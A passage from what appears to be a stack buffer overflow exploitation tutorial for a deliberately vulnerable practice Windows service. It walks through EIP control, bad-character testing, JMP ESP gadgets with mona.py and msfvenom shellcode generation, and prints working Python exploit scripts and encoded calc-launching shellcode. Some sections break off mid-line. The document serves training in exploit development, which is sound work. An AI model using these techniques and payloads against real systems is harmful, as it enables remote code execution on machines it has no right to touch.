| s.send(buf) 1108 | ``` 1109 | 1110 | --- 1111 | 1112 | \newpage 1113 | 1114 | And sending 'er off: 1115 | 1116 | ``` 1117 | % ./exploit.py 1118 | ``` 1119 | 1120 | We get a somewhat different crash this time. Instead of `0x41414141` (`"AAAA"`) 1121 | being in `EIP`, we have `0x39654138` (`"9eA8"`). 1122 | 1123 | ![Different crashy crashy. `EIP` = `0x39654138` 1124 | ("9eA8")](dostackbufferoverflowgood_images/immdbg_0x39654138.png) 1125 | 1126 | \newpage 1127 | 1128 | We have several options for finding out how far in our cyclic pattern the 1129 | sequence `"9eA8"` appears. 1130 | 1131 | We can run Metasploit's `pattern_offset.rb` with an argument of either "9eA8" 1132 | or "39654138": 1133 | 1134 | ``` 1135 | % ~/opt/metasploit-framework/tools/exploit/pattern_offset.rb -q 39654138 1136 | [*] Exact match at offset 146 1137 | ``` 1138 | 1139 | This tells us that the four characters that overwrite the Saved Return Pointer 1140 | and end up in `EIP` are at offset 146 (i.e. from the 147th character onwards). 1141 | 1142 | Alternatively, `mona.py` gives us a function called `"findmsp"` that will 1143 | search the memory of our process for all instances of the cyclic pattern and 1144 | will give us a bunch of info on each occurrence, will tell us if any registers 1145 | (e.g. `EIP`) contain a subset of the pattern, if any registers point to 1146 | somewhere in a copy of the pattern, and much much more. 1147 | 1148 | `mona.py` commands are run via the command input at the bottom of Immunity 1149 | Debugger and are prefixed with `"!mona"`. 1150 | 1151 | ![`mona.py`'s `findmsp`](dostackbufferoverflowgood_images/immdbg_findmsp.png) 1152 | 1153 | The output (viewable in Immunity's Log Data window) tells us, among other 1154 | things, that: 1155 | 1156 | * `EIP` contains normal pattern : `0x39654138` (offset 146) 1157 | * `ESP` (`0x005D19F8`) points at offset 150 in normal pattern (length 874) 1158 | 1159 | Interestingly, not only does `EIP` contain the four-byte sequence at offset 146 1160 | of our input, but the `ESP` register contains an address that points to offset 1161 | 150 of our input. This makes sense. `EIP` contains the four-byte sequence at 1162 | offset 146 of our input because it is a Saved Return Pointer that was 1163 | overwritten by `sprintf()` and then later returned to. 1164 | 1165 | We know that `RET` does the following: 1166 | 1167 | * Takes the value at the top of the stack (where `ESP` points to) and plonks it in `EIP` 1168 | * Increments `ESP` by 4, so that it points at the next item "down" the stack 1169 | 1170 | That is, before the `RET`urn to the smashed Saved Return Pointer, our stack 1171 | looks like this: 1172 | 1173 | ``` 1174 | 01F419EC 00366541 Ae6. 1175 | 01F419F0 65413765 e7Ae 1176 | ESP --> 01F419F4 39654138 8Ae9 | Saved Return Pointer 1177 | 01F419F8 41306641 Af0A 1178 | 01F419FC 66413166 f1Af 1179 | 01F41A00 33664132 2Af3 1180 | ``` 1181 | 1182 | And after the `RET`urn it looks like this: 1183 | 1184 | ``` 1185 | 01F419EC 00366541 Ae6. 1186 | 01F419F0 65413765 e7Ae 1187 | 01F419F4 39654138 8Ae9 | Saved Return Pointer 1188 | ESP --> 01F419F8 41306641 Af0A 1189 | 01F419FC 66413166 f1Af 1190 | 01F41A00 33664132 2Af3 1191 | ``` 1192 | 1193 | Hence, `ESP` naturally points, once the overwritten Saved Return Pointer has 1194 | been `RET`urned to, to just after the overwritten Saved Return Pointer. 1195 | 1196 | This phenomenon is commonly seen when exploiting Saved Return Pointer 1197 | overwrites, and comes very much in handy as we'll see shortly. 1198 | 1199 | \newpage 1200 | # Confirm offsets, control `EIP` 1201 | 1202 | Before we continue, we should confirm that our offsets as follows are correct: 1203 | 1204 | * Saved Return Pointer overwrite at offset 146 1205 | * `ESP` ends up pointing at offset 150 1206 | 1207 | Restart the process in Immunity and update our Python script to validate our 1208 | discovered offsets. 1209 | 1210 | ```{.python .numberLines} 1211 | #!/usr/bin/env python2 1212 | import socket 1213 | 1214 | RHOST = "172.17.24.132" 1215 | RPORT = 31337 1216 | 1217 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1218 | s.connect((RHOST, RPORT)) 1219 | 1220 | buf_totlen = 1024 1221 | offset_srp = 146 1222 | 1223 | buf = "" 1224 | buf += "A"*(offset_srp - len(buf)) # padding 1225 | buf += "BBBB" # SRP overwrite 1226 | buf += "CCCC" # ESP should end up pointing here 1227 | buf += "D"*(buf_totlen - len(buf)) # trailing padding 1228 | buf += "\n" 1229 | 1230 | s.send(buf) 1231 | ``` 1232 | 1233 | --- 1234 | 1235 | **Why the trailing padding?** 1236 | 1237 | It's sometimes necessary to keep the total length of what you're sending 1238 | constant. Some programs will behave differently with differently sized inputs, 1239 | and until you're certain that this won't affect your exploit, you should keep 1240 | the length constant. In our case, let's always send `buf_totlen` (1024) 1241 | characters followed by a newline. It's not needed for 1242 | `dostackbufferoverflowgood.exe` but it's a good habit to pick up early-on. 1243 | 1244 | **What's with all the `"something - len(buf)"`?** 1245 | 1246 | It's way of saying "append enough of the character to make the string be 1247 | `something` characters long". `len(buf)` is the current length of the string, 1248 | so we subtract it from `something` to get the number of characters we need to 1249 | append to take it out to a total length of `something`. 1250 | 1251 | Note that we do it every time, even for the `A`'s. `len(buf)` will be `0` when 1252 | we append these `A`'s, but if we ever need to add something in at the beginning 1253 | of the `A`'s then we can slip it in and the appending of `A`'s will 1254 | automatically adjust to compensate. Cool huh? 1255 | 1256 | \newpage 1257 | 1258 | Running this: 1259 | 1260 | ``` 1261 | % ./exploit.py 1262 | ``` 1263 | 1264 | Immunity tells us that we get a crash, this time on `0x42424242` (The ASCII 1265 | sequence `"BBBB"`) and `ESP` points to `"CCCC"` followed by a bunch of `"D"` 1266 | characters. Just as expected. 1267 | 1268 | This is known as having "`EIP` control". 1269 | 1270 | ![EIP control](dostackbufferoverflowgood_images/immdbg_eip_control.png) 1271 | 1272 | \newpage 1273 | # Determine "bad characters" 1274 | 1275 | So far, we've sent to the service only a few different characters - the letters 1276 | `"A"` through `"D"` and a newline (`"\n"`). We need to take a moment to think 1277 | about which characters we are allowed to send to the service, and which ones 1278 | we're not allowed to send to the service because they might cause the service 1279 | to behave differently or corrupt the characters before putting them in to 1280 | memory. 1281 | 1282 | Characters that we can't use for one reason or another are called "bad 1283 | characters" or "badchars". 1284 | 1285 | Off the bat, we can think of a few definite bad characters. 1286 | 1287 | The vulnerable function is `sprintf`, which is a string-handling function. 1288 | ASCII strings are terminated with a null byte (`"\x00"`). If we were to use a 1289 | null byte in what we send to the service, then `sprintf` (and potentially other 1290 | string handling functions in the program) would essentially ignore anything we 1291 | put after the null byte, causing our exploit to fail or behave incorrectly. 1292 | Null bytes are commonly bad characters in the exploitation field, especially 1293 | when the bug is a string-related operation. Null bytes should be at the top of 1294 | your list of candidate badchars. 1295 | 1296 | We know that `handleConnection()` "chunks" the messages we send to it based on 1297 | a newline character (`"\n"`, or alternatively "`\x0A"`). It calls 1298 | `doResponse()` separately for each newline-delimited message we send. If we 1299 | were to use the newline character anywhere in our exploit except to end the 1300 | message we send, it would break our message in to two distinct messages (which 1301 | would mean two distinct `CALL`'s to `doResponse()` and would cause our exploit 1302 | to fail or behave incorrectly. 1303 | 1304 | This gives us `"\x00\x0A"` as a starting point for our badchars. 1305 | 1306 | To be sure we haven't missed any others (or if, for any given program, you're 1307 | having trouble reasoning about which characters may be bad) we can adapt our 1308 | Python program to: 1309 | 1310 | * Generate a test string containing every possible byte from `\x00` to `\xFF` except for `\x00` and `\x0A` (we'll do this using a `for` loop) 1311 | * Write that string to a binary file 1312 | * Put the string in to our payload in a convenient spot. 1313 | * Cause the program to crash 1314 | 1315 | One such "convenient spot" at which to put the test string is the location at 1316 | which we know `ESP` will be pointing to at the time of the crash 1317 | 1318 | Once the program has crashed, we can compare the file we saved on disk 1319 | containing our test string to the memory location pointed to by `ESP`. If it's 1320 | a match, we know we have listed all the badchars. If it's not a match, we can 1321 | dig in to what's different between the two and deduce further badchars. 1322 | 1323 | \newpage 1324 | 1325 | Our Python script, with the generation and saving of a test string, becomes: 1326 | 1327 | ```{.python .numberLines} 1328 | #!/usr/bin/env python2 1329 | import socket 1330 | 1331 | RHOST = "172.17.24.132" 1332 | RPORT = 31337 1333 | 1334 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1335 | s.connect((RHOST, RPORT)) 1336 | 1337 | badchar_test = "" # start with an empty string 1338 | badchars = [0x00, 0x0A] # we've reasoned that these are definitely bad 1339 | 1340 | # generate the string 1341 | for i in range(0x00, 0xFF+1): # range(0x00, 0xFF) only returns up to 0xFE 1342 | if i not in badchars: # skip the badchars 1343 | badchar_test += chr(i) # append each non-badchar char to the string 1344 | 1345 | # open a file for writing ("w") the string as binary ("b") data 1346 | with open("badchar_test.bin", "wb") as f: 1347 | f.write(badchar_test) 1348 | 1349 | buf_totlen = 1024 1350 | offset_srp = 146 1351 | 1352 | buf = "" 1353 | buf += "A"*(offset_srp - len(buf)) # padding 1354 | buf += "BBBB" # SRP overwrite 1355 | buf += badchar_test # ESP points here 1356 | buf += "D"*(buf_totlen - len(buf)) # trailing padding 1357 | buf += "\n" 1358 | 1359 | s.send(buf) 1360 | ``` 1361 | 1362 | \newpage 1363 | 1364 | Running this: 1365 | 1366 | ``` 1367 | % ./exploit.py 1368 | ``` 1369 | 1370 | The script will spit out a binary file named `badchar_test.bin`. This file 1371 | contains every byte from `\x00` to `\xFF` except for `\x00` and `\x0A`. 1372 | 1373 | `xxd`, a command-line hex viewer, is great for viewing such a binary file: 1374 | 1375 | ``` 1376 | % xxd badchar_test.bin 1377 | 00000000: 0102 0304 0506 0708 090b 0c0d 0e0f 1011 ................ 1378 | 00000010: 1213 1415 1617 1819 1a1b 1c1d 1e1f 2021 .............. ! 1379 | 00000020: 2223 2425 2627 2829 2a2b 2c2d 2e2f 3031 "#$%&'()*+,-./01 1380 | 00000030: 3233 3435 3637 3839 3a3b 3c3d 3e3f 4041 23456789:;<=>?@A 1381 | 00000040: 4243 4445 4647 4849 4a4b 4c4d 4e4f 5051 BCDEFGHIJKLMNOPQ 1382 | 00000050: 5253 5455 5657 5859 5a5b 5c5d 5e5f 6061 RSTUVWXYZ[\]^_`a 1383 | 00000060: 6263 6465 6667 6869 6a6b 6c6d 6e6f 7071 bcdefghijklmnopq 1384 | 00000070: 7273 7475 7677 7879 7a7b 7c7d 7e7f 8081 rstuvwxyz{|}~... 1385 | 00000080: 8283 8485 8687 8889 8a8b 8c8d 8e8f 9091 ................ 1386 | 00000090: 9293 9495 9697 9899 9a9b 9c9d 9e9f a0a1 ................ 1387 | 000000a0: a2a3 a4a5 a6a7 a8a9 aaab acad aeaf b0b1 ................ 1388 | 000000b0: b2b3 b4b5 b6b7 b8b9 babb bcbd bebf c0c1 ................ 1389 | 000000c0: c2c3 c4c5 c6c7 c8c9 cacb cccd cecf d0d1 ................ 1390 | 000000d0: d2d3 d4d5 d6d7 d8d9 dadb dcdd dedf e0e1 ................ 1391 | 000000e0: e2e3 e4e5 e6e7 e8e9 eaeb eced eeef f0f1 ................ 1392 | 000000f0: f2f3 f4f5 f6f7 f8f9 fafb fcfd feff .............. 1393 | ``` 1394 | 1395 | We also get a crash in Immunity. With this crash, `ESP` seems to be pointing to 1396 | (i.e. at the top of the stack is) a copy of our test string. 1397 | 1398 | ![Our `badchar_test` string in 1399 | Immunity](dostackbufferoverflowgood_images/immdbg_badchars.png) 1400 | 1401 | Note that Immunity Debugger reverses the order of items on the stack due to 1402 | Intel's little endian-ness. We'll cover what "little endian" means shortly. 1403 | Even though the string appears back-to-front in the stack view, if you 1404 | right-click on `ESP` in the registers list and click "Follow in Dump", you'll 1405 | see it's front-to-back in the area of memory used by the stack. 1406 | 1407 | ![Doing a `Follow in Dump` on our `badchar_test` 1408 | string](dostackbufferoverflowgood_images/immdbg_badchars_follow_in_dump.png) 1409 | 1410 | \newpage 1411 | 1412 | To see if our test string has landed in memory intact, we can use `mona.py`'s 1413 | `compare` function with the following arguments: 1414 | 1415 | * `-a esp` - compare the contents of memory at the address pointed to by `ESP` 1416 | * `-f ` - compare the contents of the file given by `` 1417 | 1418 | Put `badchar_test.bin` somewhere on the Windows box (e.g. in `c:\`) and run: 1419 | 1420 | ``` 1421 | !mona compare -a esp -f c:\badchar_test.bin 1422 | ``` 1423 | 1424 | `mona.py` will tell us that the two items match. Thus, our only bad characters 1425 | are `\x00` and `\x0A` 1426 | 1427 | ![`mona.py` comparing our `badchar_test` string to the binary copy on 1428 | disk](dostackbufferoverflowgood_images/immdbg_badchars_mona_compare.png) 1429 | 1430 | \newpage 1431 | # `RET` to `"JMP ESP"` 1432 | 1433 | Now that we have a reliable and tightly controlled Saved Return Pointer 1434 | overwrite (giving us control over `EIP`) and we know which bad characters we 1435 | need to avoid using, let's take a step closer towards gaining Remote Code 1436 | Execution. 1437 | 1438 | We are looking to divert the program's usual execution flow to somewhere in 1439 | memory we control the contents of, and at that location we will want to have 1440 | put some machine bytecode that does something of use to us. The stack is 1441 | perfect for this as it contains a copy of whatever bytes we send over the 1442 | network. We could put our bytecode anywhere in the message we send that 1443 | overflows the `response` stack local variable, and then divert execution to the 1444 | bytecode we have caused to be put on the stack. 1445 | 1446 | Since we control the Saved Return Pointer and hence `EIP`, we could 1447 | theoretically divert execution flow directly to the absolute address of the 1448 | bytecode we have put on the stack by overwriting the Saved Return Pointer with 1449 | that exact address. This is a bad idea for a few reasons: 1450 | 1451 | * Even if the executable is compiled as not being subject to ASLR, the Operating System may still randomise the address of the stack making its absolute location hard to predict between different invocations of the executable. 1452 | * Even within a single invocation of `dostackbufferoverflowgood.exe`, each time a connection is made to the service a new thread is spawned to handle the connection. There is no guarantee that two different connections (and hence two different threads) will have their stack be at the same address, especially if they happen at the same time (it wouldn't make much sense to have two threads trying to use the exact same memory space for their own stacks, would it?) 1453 | 1454 | For example, on my machine, I saw the following values in `ESP` at the time of 1455 | `CALL doResponse` for the first connection to three discrete invocations of 1456 | `dostackbufferoverflowgood.exe`: 1457 | 1458 | * `0x004B19F8` 1459 | * `0x01F519F8` 1460 | * `0x01FF19F8` 1461 | 1462 | I saw the following identical values in `ESP` at the time of `CALL doResponse` 1463 | for three different connections to the one invocation of 1464 | `dostackbufferoverflowgood.exe`: 1465 | 1466 | * `0x004A19F8` 1467 | * `0x004A19F8` 1468 | * `0x004A19F8` 1469 | 1470 | While I saw the following values in `ESP` at the time of `CALL doResponse` for 1471 | three different **simultaneous** connections to the one invocation of 1472 | `dostackbufferoverflowgood.exe`: 1473 | 1474 | * `0x01F419F8` 1475 | * `0x020819F8` 1476 | * `0x021C19F8` 1477 | 1478 | Try this yourself. Does the stack address change across different invocations 1479 | of the service? Does it change across connections? How confident are you that 1480 | you could guess the address that the stack is at, remotely, on your first try? 1481 | 1482 | Since nailing down the exact address of the stack is generally difficult due to 1483 | ASLR and things like threading, it is almost always better to make the diverted 1484 | execution flow "pivot" via something that is in a static memory location. 1485 | 1486 | Remember how the part of our data that comes right after the Saved Return 1487 | Pointer overwrite is pointed to by `ESP` at the time of `doResponse()`'s 1488 | `RET`urn to the overwritten Saved Return Pointer? This is about to come in 1489 | super handy - we can put the bytecode we want to have executed at this location 1490 | in the data we send and leverage the fact that `ESP` points to it as part of 1491 | our redirection of program flow. 1492 | 1493 | As the `dostackbufferoverflow.exe` binary was compiled without ASLR, its 1494 | **code**, as opposed to its stack(s), will be located at the exact same memory 1495 | address each time. We can locate some bytes within its program code that 1496 | correspond to the bytecode for `"JMP ESP"` and overwrite the Saved Return 1497 | Pointer with that address. The following should happen: 1498 | 1499 | 1. The `RET` at the end of `doResponse()` will cause execution to `RET`urn to the instruction `"JMP ESP"` which is part of the original program. This `RET` will cause the `ESP` register to be incremented by 4, making it point to the stack directly after the overwritten Saved Return Pointer. 1500 | 2. `"JMP ESP"` will be executed. This will direct execution to the location that `ESP` points to. 1501 | 3. Our bytecode, which `ESP` points at, will be executed. 1502 | 1503 | Think of the `"JMP ESP"` as being a trampoline, off of which the execution flow 1504 | will end up pivoting or "bouncing" back to the stack. 1505 | 1506 | Such an interesting instruction or sequence of instructions within an existing 1507 | binary program is often referred to as a "Gadget". 1508 | 1509 | `mona.py` is able to search memory for sequences of bytes (or "Gadgets") that 1510 | correspond to a `JMP` to the address stored in a given register. 1511 | 1512 | With the binary in either a running or crashed state, running: 1513 | 1514 | ``` 1515 | !mona jmp -r esp -cpb "\x00\x0A" 1516 | ``` 1517 | 1518 | Causes `mona.py` to search all the memory that contains program code which is 1519 | not subject to ASLR (including the memory of `dostackbufferoverflowgood.exe`) 1520 | for `"JMP ESP"` gadgets. It tells us that there are `"JMP ESP"` gadgets within 1521 | `dostackbufferoverflowgood.exe` at: 1522 | 1523 | * `0x080414C3`; and 1524 | * `0x080416BF` 1525 | 1526 | ![`mona.py` finding us some `"JMP ESP"` 1527 | gadgets`](dostackbufferoverflowgood_images/immdbg_mona_jmp.png) 1528 | 1529 | \framebox{ 1530 | \parbox{\textwidth}{ 1531 | \textbf{Pro tip}: Many mona.py commands take the -cpb argument which allows 1532 | you to specify a list of bad characters. mona.py will avoid returning 1533 | memory pointers containing bad characters, keeping your exploit functional 1534 | and keeping you happy. 1535 | } 1536 | } 1537 | 1538 | Right-clicking on one of these pointers in the "Log data" window and clicking 1539 | `"Follow in disassembler"` shows us that there is indeed a `"JMP ESP"` gadget 1540 | at that memory location. 1541 | 1542 | ![Doing a `Follow in Disassembler` on one of `mona.py`'s `"JMP ESP"` 1543 | gadgets`](dostackbufferoverflowgood_images/immdbg_mona_jmp_follow_in_disassembler.png) 1544 | 1545 | Thus, if we overwrite the Saved Return Pointer with either of these addresses, 1546 | then after `doResponse()` tries to `RET`urn to the overwritten Saved Return 1547 | Pointer, it will execute the `"JMP ESP"` instruction and divert execution flow 1548 | to whatever data we send after the value that overwrites the Saved Return 1549 | Pointer. 1550 | 1551 | ``` 1552 | ------------------------------------------------------------------- 1553 | overwritten saved RET ptr 1554 | padding (pointer to JMP ESP) bytecode 1555 | | | | 1556 | /------------v----------------v--------------------v--------------\ 1557 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPPPPBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 1558 | ^ 1559 | | 1560 | ESP points here after RET 1561 | ------------------------------------------------------------------- 1562 | ``` 1563 | 1564 | \newpage 1565 | 1566 | Before we give one of our gadgets a go, we need to know to take in to account 1567 | what is called "Endianness". x86 is what's known as a little-endian 1568 | architecture. On a little-endian architecture, values such as numbers or 1569 | memory addresses are stored in memory as back-to-front bytes, with the Least 1570 | Significant Byte (LSB) appearing first. 1571 | 1572 | For example: 1573 | 1574 | * ASCII strings (e.g. `"ABCD"`) are stored front-to-back: `"\x41\x42\x43\x44\x00"` 1575 | * Code (e.g. `"NOP # NOP # NOP # RET"`) is stored front-to-back: `"\x90\x90\x90\xC3"` 1576 | * Numbers (e.g. `0x1337`) are stored **back-to-front**: `"\x37\x13\x00\x00"` 1577 | * Memory addresses or "pointers" (e.g. `0xDEADBEEF`) are stored **back-to-front**: `"\xEF\xBE\xAD\xDE"` 1578 | 1579 | If we're going to replace the Saved Return Pointer with a pointer of our own 1580 | choosing, we should be sure to represent the replacement pointer as a 1581 | little-endian value so that it makes sense to the CPU. 1582 | 1583 | There are at least two ways of little-endian-ing values within Python, ready to 1584 | be sent to a running program. 1585 | 1586 | 1. Do it manually 1587 | 2. Do it using `struct.pack()` 1588 | 1589 | To do it manually involves taking the value, converting it to hexadecimal if 1590 | it's a decimal number, mentally reversing the order of bytes, and entering 1591 | those bytes as a string. This is error-prone, annoying to do, hard to update 1592 | later on, it makes your code less clear, and it means you can't quickly 1593 | copy-paste a memory address (e.g. to set a cheeky debugger breakpoint) 1594 | 1595 | Doing it using `struct.pack()` involves `import`ing the `struct` module and, 1596 | for a 32-bit value, calling the `pack()` function with the `">> import struct 1607 | >>> struct.pack(">> struct.pack(">> struct.pack(" 1764 | sf 1765 | 1766 | Basic options: 1767 | Name Current Setting Required Description 1768 | ---- --------------- -------- ----------- 1769 | CMD yes The command string to execute 1770 | EXITFUNC process yes Exit technique (Accepted: '', 1771 | seh, thread, process, none) 1772 | 1773 | Description: 1774 | Execute an arbitrary command 1775 | 1776 | 1777 | Advanced options for payload/windows/exec: 1778 | 1779 | Name : PrependMigrate 1780 | Current Setting: false 1781 | Description : Spawns and runs shellcode in new process 1782 | 1783 | Name : PrependMigrateProc 1784 | Current Setting: 1785 | Description : Process to spawn and run shellcode in 1786 | 1787 | Name : VERBOSE 1788 | Current Setting: false 1789 | Description : Enable detailed status messages 1790 | 1791 | Name : WORKSPACE 1792 | Current Setting: 1793 | Description : Specify the workspace for this module 1794 | 1795 | Evasion options for payload/windows/exec: 1796 | 1797 | 1798 | ``` 1799 | 1800 | The options we will provide to `msfvenom` are: 1801 | 1802 | * `-p windows/exec` (we want Windows shellcode that will `exec`ute a command) 1803 | * `-b '\x00\x0A'` (the list of bad characters we determined earlier, so that `msfvenom` can avoid having them in the generated shellcode) 1804 | * `-f python` (output shellcode in a Python-friendly format) 1805 | * `--var-name shellcode_calc` (tell `msfvenom` to output Python code that sets a variable called `shellcode_calc`) 1806 | * `CMD=calc.exe EXITFUNC=thread` (options for the `windows/exec` payload) 1807 | 1808 | `CMD` gets set to `calc.exe` for poppage of calc. `EXITFUNC` specifies how the 1809 | shellcode should clean up after itself. If msfvenom wasn't to add some sort of 1810 | `FUNC`tion to `EXIT` with, execution would "fall off" the end of the shellcode 1811 | on the stack and random stack data would be executed as code, crashing the 1812 | process and ruining our day as attackers. By choosing an `EXITFUNC` of 1813 | `thread`, `msfvenom` will append some code that cleanly shuts down the thread 1814 | it is running in. Since `dostackbufferoverflowgood.exe` handles client 1815 | connections in separate threads, this will mean that the service as a whole 1816 | will continue to run after our shellcode executes. If we left `EXITFUNC` at the 1817 | default value of `process`, the shellcode would cause the whole service to shut 1818 | down after the shellcode had finished executing. 1819 | 1820 | \newpage 1821 | 1822 | Running `msfvenom` we get our shellcode: 1823 | 1824 | ``` 1825 | % ~/opt/metasploit-framework/msfvenom -p windows/exec -b '\x00\x0A' \ 1826 | -f python --var-name shellcode_calc CMD=calc.exe EXITFUNC=thread 1827 | 1828 | No platform was selected, choosing Msf::Module::Platform::Windows from the payload 1829 | No Arch selected, selecting Arch: x86 from the payload 1830 | Found 10 compatible encoders 1831 | Attempting to encode payload with 1 iterations of x86/shikata_ga_nai 1832 | x86/shikata_ga_nai succeeded with size 220 (iteration=0) 1833 | x86/shikata_ga_nai chosen with final size 220 1834 | Payload size: 220 bytes 1835 | shellcode_calc = "" 1836 | shellcode_calc += "\xb8\x3e\x08\xbf\x9c\xdb\xdc\xd9\x74\x24" 1837 | shellcode_calc += "\xf4\x5f\x29\xc9\xb1\x31\x31\x47\x13\x03" 1838 | shellcode_calc += "\x47\x13\x83\xc7\x3a\xea\x4a\x60\xaa\x68" 1839 | shellcode_calc += "\xb4\x99\x2a\x0d\x3c\x7c\x1b\x0d\x5a\xf4" 1840 | shellcode_calc += "\x0b\xbd\x28\x58\xa7\x36\x7c\x49\x3c\x3a" 1841 | shellcode_calc += "\xa9\x7e\xf5\xf1\x8f\xb1\x06\xa9\xec\xd0" 1842 | shellcode_calc += "\x84\xb0\x20\x33\xb5\x7a\x35\x32\xf2\x67" 1843 | shellcode_calc += "\xb4\x66\xab\xec\x6b\x97\xd8\xb9\xb7\x1c" 1844 | shellcode_calc += "\x92\x2c\xb0\xc1\x62\x4e\x91\x57\xf9\x09" 1845 | shellcode_calc += "\x31\x59\x2e\x22\x78\x41\x33\x0f\x32\xfa" 1846 | shellcode_calc += "\x87\xfb\xc5\x2a\xd6\x04\x69\x13\xd7\xf6" 1847 | shellcode_calc += "\x73\x53\xdf\xe8\x01\xad\x1c\x94\x11\x6a" 1848 | shellcode_calc += "\x5f\x42\x97\x69\xc7\x01\x0f\x56\xf6\xc6" 1849 | shellcode_calc += "\xd6\x1d\xf4\xa3\x9d\x7a\x18\x35\x71\xf1" 1850 | shellcode_calc += "\x24\xbe\x74\xd6\xad\x84\x52\xf2\xf6\x5f" 1851 | shellcode_calc += "\xfa\xa3\x52\x31\x03\xb3\x3d\xee\xa1\xbf" 1852 | shellcode_calc += "\xd3\xfb\xdb\x9d\xb9\xfa\x6e\x98\x8f\xfd" 1853 | shellcode_calc += "\x70\xa3\xbf\x95\x41\x28\x50\xe1\x5d\xfb" 1854 | shellcode_calc += "\x15\x0d\xbc\x2e\x63\xa6\x19\xbb\xce\xab" 1855 | shellcode_calc += "\x99\x11\x0c\xd2\x19\x90\xec\x21\x01\xd1" 1856 | shellcode_calc += "\xe9\x6e\x85\x09\x83\xff\x60\x2e\x30\xff" 1857 | shellcode_calc += "\xa0\x4d\xd7\x93\x29\xbc\x72\x14\xcb\xc0" 1858 | ``` 1859 | 1860 | --- 1861 | 1862 | Even though this looks like Python code, it isn't meaningful Python code in and 1863 | of itself. All it does is set up a string called `shellcode_calc` that contains 1864 | our binary shellcode. The code is suitable for copy-pasting in to our exploit, 1865 | but if you ran it as-is it wouldn't do anything useful. `msfvenom` can produce 1866 | shellcode in various formats. Some of them are "executable" formats (such as 1867 | `exe`, `dll` and `elf`) while others (such as `python`, `c` and `ruby`) are 1868 | simply "transform" formats, intended to be integrated in to your own exploits. 1869 | 1870 | We see that `msfvenom` encoded our shellcode using `shikata_ga_nai`. This is 1871 | done because `windows/exec` shellcode normally contains one or both of the bad 1872 | characters we specified. `msfvenom` applied the `shikata_ga_nai` encoder to the 1873 | shellcode, prepended a `shikata_ga_nai` decoder stub to it, and found that it 1874 | no longer contained either of our bad characters. Knowing that the shellcode is 1875 | encoded, and has a decoder stub prepended to it, will be important later on. 1876 | 1877 | \newpage 1878 | # Pop calc 1879 | 1880 | With the ability to divert execution flow to some `"INT 3"` instructions on the 1881 | stack, and armed with our `windows/exec` shellcode from `msfvenom`, we're 1882 | finally ready to pop some calc. 1883 | 1884 | You might be excited to take your `"INT 3"` executing exploit and drop your 1885 | shellcode in place, but there's one last thing we need to take in to account. 1886 | 1887 | Remember how we noticed that `msfvenom` produced encoded shellcode? This 1888 | encoded shellcode has a decoder stub prepended to it. The decoder stub is 1889 | executable, but the encoded shellcode is not executable in its encoded state. 1890 | It is the decoder stub's job to iterate over the encoded shellcode and decode 1891 | it back to its valid calc-popping self. To cut a long story short, the decoder 1892 | stub is what is known as position-independent code. It needs to take a look at 1893 | itself, figure out where it is in memory, and from there look a few bytes ahead 1894 | to locate the encoded shellcode that it needs to decode. As part of figuring 1895 | out where the decoder stub itself is in memory, it performs an sequence of 1896 | instructions which are commonly referred to as a `GetPC` routine. 1897 | 1898 | \framebox{ 1899 | \parbox{\textwidth}{ 1900 | \textbf{Pro tip}: The EIP register is traditionally known as the Program 1901 | Counter (PC). The job of GetPC is to discover the current value of EIP (or 1902 | PC) in order to know where in memory it is located, hence "Get PC". 1903 | } 1904 | } 1905 | 1906 | The encoder that `msfvenom` used in our case was the `shikata_ga_nai` encoder. 1907 | `shikata_ga_nai`'s `GetPC` routine, like many other `GetPC` routines, is a bit 1908 | of a destructive operation. The machine instructions that it executes in its 1909 | quest for its own address involves putting some data at **and around** the top 1910 | of the stack. It doesn't `PUSH` some values on to the stack moving the top of 1911 | the stack upwards, it has a tendency to destroy a couple of bytes either side 1912 | of `ESP`. This damage is a problem for us - because the encoded shellcode is 1913 | right at the current value of `ESP`! If we allow `GetPC` to blow a hole right 1914 | at `ESP` then it will change some of the code belonging to the shellcode 1915 | decoder and potentially the encoded shellcode, corrupting the machine code and 1916 | almost certainly crashing the process when the CPU tries to execute the 1917 | now-corrupted code. 1918 | 1919 | We have two options for mitigating the damage caused by `GetPC` and ensuring it 1920 | doesn't corrupt our shellcode: 1921 | 1922 | 1. The lazy way 1923 | 2. The right way 1924 | 1925 | \newpage 1926 | 1927 | **The lazy way** 1928 | 1929 | Some people place what is known as a `NOP` sled in front of the encoded 1930 | shellcode. `NOP`, which stands for "No Operation", is a machine instruction 1931 | that does nothing. The "official" `NOP` instruction on Intel x86 is opcode 1932 | `\x90`. 1933 | 1934 | \framebox{ 1935 | \parbox{\textwidth}{ 1936 | \textbf{Pro tip}: On x86 (and x86-64 outside of 64-bit mode), 1937 | {\textbackslash}x90 is actually the instruction for "XCHG EAX,EAX" (h/t 1938 | @TheColonial). This swaps the value in EAX with the value in EAX - which, 1939 | obviously, does nothing. 1940 | } 1941 | } 1942 | 1943 | By putting a large number of `NOP`'s in front of the shellcode, `ESP` will 1944 | continue to point at the beginning of the `NOP` sled while `EIP` "slides" 1945 | through the `NOP`'s doing a whole bunch of nothing. By the time execution 1946 | reaches the shellcode decoder stub, `ESP` points far enough away from it so as 1947 | to not cause damage to the shellcode when `GetPC` blows a hole in the stack. 1948 | 1949 | When I say "By putting a large number of `NOP`'s", people will just put more 1950 | and more `NOP`'s in the sled until their problem goes away. I believe the magic 1951 | number of `NOP`'s needed to dodge `GetPC`'s destruction is 12 or so, but it's 1952 | not uncommon to see people put a whole lot more than they need to. 1953 | 1954 | Using a `NOP` sled to mitigate `GetPC` damage has two downsides: 1955 | 1956 | 1. It wastes what is, in some cases, precious space that could otherwise be spent on shellcode (Imagine if you could only slightly overflow a stack buffer. We've got space for thousands upon thousands of bytes of shellcode, but you wont always have such a luxury) 1957 | 2. It demonstrates that you don't actually know what is going on, and you just throw things in your exploit until it works. 1958 | 1959 | Don't be wasteful and lazy. Do it the right way. 1960 | 1961 | **The right way** 1962 | 1963 | The issue is that `GetPC` blows a hole at `ESP`. Rather than prepend `NOP`'s to 1964 | your shellcode, you already have code execution (if you know how to write 1965 | machine code) so just write some code that will subtract from `ESP`, moving it 1966 | "up" the stack and away from your shellcode. Then, like with the `NOP` sled 1967 | approach, the damage that `GetPC` causes will be far enough up the stack so as 1968 | not to disturb your shellcode. 1969 | 1970 | Metasploit comes with a lightweight assembler, `metasm_shell.rb`, which by 1971 | default takes assembly input and generates Intel x86 